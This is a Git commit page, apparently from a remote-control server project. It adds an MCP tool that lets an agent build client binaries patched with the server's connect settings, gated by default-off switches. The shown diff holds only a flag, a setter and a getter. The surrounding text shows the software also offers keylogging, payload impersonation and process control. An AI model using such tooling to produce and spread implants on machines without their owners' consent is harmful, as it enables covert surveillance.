Feature: add build_client MCP tool and improve build dialog linkage
Add a service-local MCP tool, build_client, that patches a client template with this master's connect settings and writes the binary on the server. It covers ghost/TestRun/ServerDll/TinyRun plus Linux, macOS and Android, reusing the same byte path as CBuildDlg::OnBnClickedOk (CONNECT_ADDRESS overwrite, build-date check, embedded TLS anchor before UPX/padding). ShellCode AES and payload impersonation stay dialog-only. The tool is gated by a new McpBuild switch (default 0) and McpReadonly=0. It refuses to overwrite an existing file unless overwrite=true, protects the server binaries/settings.ini/upx.exe, validates names strictly and uses a unique UPX temp file so it cannot race the dialog. Results report the path, size, target, TLS-anchor status and follow-up tips. In the build dialog, Linux/macOS/Android targets now also grey out the install-location combo/label and run mode, save and restore the Windows compress choice, hide payload/download rows, grey the random-name and run-as-admin menu items, and fix the TLS-anchor label for posix targets. OnBnClickedOk is untouched; generated output is unchanged for every target. New UI strings were added to the en_US, zh_TW and de_DE language packs. McpBuild is off by default and changes require a server restart. Verified on a Debug x64 instance: MCP generation for Linux is patched correctly, Android and ghost anchor/error paths behave, and dialog-driven Linux/TestRun/SC_AES generation still succeeds. mcp/tools.json regenerated (55 tools); check_platform_table.py passes. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
1401ff0a4c
commit
7172ab376d
20 files changed
+1619
-36
No files matched your search
@@ -566,6 +566,13 @@ public:
|
||||
void SetKeylogEnabled(bool enabled) { m_keylogEnabled = enabled; }
|
||||
bool IsKeylogEnabled() const { return m_keylogEnabled; }
|
||||
|
||||
// ===== 生成客户端(build_client)=====
|
||||
// 服务端本地工具:按本主控配置 patch 客户端模板并落盘。不是远程操作,但会写出
|
||||
// 可分发的二进制(含 pwdHash / 主控 ID),独立开关 McpBuild(默认关)且要求
|
||||
// McpReadonly=0。见 docs/Mcp_BuildClient_Design.md。
|
||||
void SetBuildEnabled(bool enabled) { m_buildEnabled = enabled; }
|
||||
bool IsBuildEnabled() const { return m_buildEnabled; }
|
||||
|
||||
// ===== 工具默认等待超时([settings] McpToolTimeoutMs,ini-only 键)=====
|
||||
// 慢主机上 20s 固定的工具超时太紧;调到 60s 更实用。范围 clamp 到 [1000, 600000]。
|
||||
// 改动需重启服务端生效(与其它 Mcp* 开关一致)。
|
||||
@@ -999,6 +1006,7 @@ private:
|
||||
bool m_machineEnabled = false; // P8 主机管理族总开关(默认关;16 个 host_* 工具)
|
||||
bool m_machineDangerousEnabled = false; // P8 高风险子集(冻结/解冻进程、停止/重启服务)
|
||||
bool m_keylogEnabled = false; // N3 键盘记录开关(默认关;get_keylog)
|
||||
bool m_buildEnabled = false; // 生成客户端开关(默认关;build_client)
|
||||
// 平台门禁(默认开):调用前拦掉「该客户端根本没实现」的工具,立刻返回 -32005。
|
||||
// 关闭后这类调用会照常下发命令,通常表现为白等超时。判据表见 McpServer.cpp 的
|
||||
// kToolPlatforms,与 mcp/tools.json 的 platforms 字段对应。
|
||||
|
||||
Reference in new issue
Block a user